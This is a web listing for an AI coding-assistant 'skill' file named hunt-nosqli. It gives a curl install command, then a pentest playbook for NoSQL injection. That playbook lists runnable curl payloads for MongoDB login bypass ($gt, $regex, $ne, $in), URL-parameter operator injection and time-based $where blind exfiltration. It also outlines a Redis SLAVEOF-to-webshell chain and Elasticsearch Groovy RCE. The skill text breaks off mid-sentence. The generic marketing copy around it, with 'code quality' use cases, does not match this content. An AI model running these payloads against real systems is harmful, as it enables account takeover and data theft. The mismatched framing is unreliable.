hunt-nosqli
hunt-nosqli is an code AI skill with a core value of Hunt NoSQL Injection. It
helps developers solve real-world problems in the code domain, boosting
efficiency, automating repetitive tasks, and optimizing workflows.
Hunt NoSQL Injection
Quick Facts
mkdir -p ./skills/hunt-nosqli && curl -sfL https://raw.githubusercontent.com/sickn33/antigravity-awesome-skills/main/skills/hunt-nosqli/SKILL.md -o ./skills/hunt-nosqli/SKILL.md Run in terminal / PowerShell. Requires curl (Unix) or PowerShell 5+ (Windows).
Skill Content
> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
# HUNT-NOSQLI — NoSQL Injection
Crown Jewel Targets
NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).
**Highest-value chains:**
- **MongoDB auth bypass** — `{"username": {"$gt": ""}, "password": {"$gt": ""}}` logs in as first user in collection (usually admin)
- **$where JS injection** — if $where is enabled: blind injection → data exfil
- **Redis command injection** — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
- **Elasticsearch injection** — _search endpoint with Groovy script injection (pre-5.0) → RCE
---
Attack Surface Signals
URL & Param Patterns
/api/users/login POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/passwordStack Signals
| Signal | Vector |
|--------|--------|
| MongoDB error messages in response | Operator injection |
| mongoose / monk in JS bundles | ODM patterns |
| X-Powered-By: Express | Node.js + MongoDB common stack |
| CouchDB/_utils UI exposed | Futon/Fauxton admin |
| Redis port 6379 open (via SSRF) | CONFIG SET / SLAVEOF |
| Elasticsearch :9200 open | Script injection |
---
Step-by-Step Hunting Methodology
Phase 1 — Auth Bypass (MongoDB)
# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'
# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "wrong"}}'
# in array bypass
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'Phase 2 — URL Parameter Injection
# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"
# POST form data
curl "https://$TARGET/api/login" \
--data "username[$gt]=&password[$gt]="Phase 3 — $where Blind Injection (time-based)
# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed
# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'Phase 3b — Syntax injection into a concatenated `$where`/query (string context)
When the app concatenates input into a JS `$where` STRING (`"this.name=='"+input+"'"`) instead of accepting an operator o
🎯 Best For
- Claude users
- Software engineers
- Development teams
- Tech leads
💡 Use Cases
- Code quality improvement
- Best practice enforcement
📖 How to Use This Skill
- 1
Install the Skill
Copy the install command from the Terminal tab and run it. The SKILL.md file downloads to your local skills directory.
- 2
Load into Your AI Assistant
Open Claude and reference the skill. Paste the SKILL.md content or use the system prompt tab.
- 3
Apply hunt-nosqli to Your Work
Open your project in the AI assistant and ask it to apply the skill. Start with a small module to verify the output quality.
- 4
Review and Refine
Review AI suggestions before committing. Run tests, check for regressions, and iterate on the skill output.
❓ Frequently Asked Questions
Is hunt-nosqli compatible with Cursor and VS Code?
Yes — this skill works with any AI coding assistant including Cursor, VS Code with Copilot, and JetBrains IDEs.
Do I need specific dependencies for hunt-nosqli?
Check the install command and Works With section. Most code skills only require the AI assistant and your codebase.
How do I install hunt-nosqli?
Copy the install command from the Terminal tab and run it. The skill downloads to ./skills/hunt-nosqli/SKILL.md, ready to use.
Can I customize this skill for my team?
Absolutely. Edit the SKILL.md file to add team-specific instructions, examples, or workflows.
⚠️ Common Mistakes to Avoid
Skipping validation
Always test AI-generated code changes, even for simple refactors.
Missing dependency updates
Check if the skill requires updated dependencies or new packages.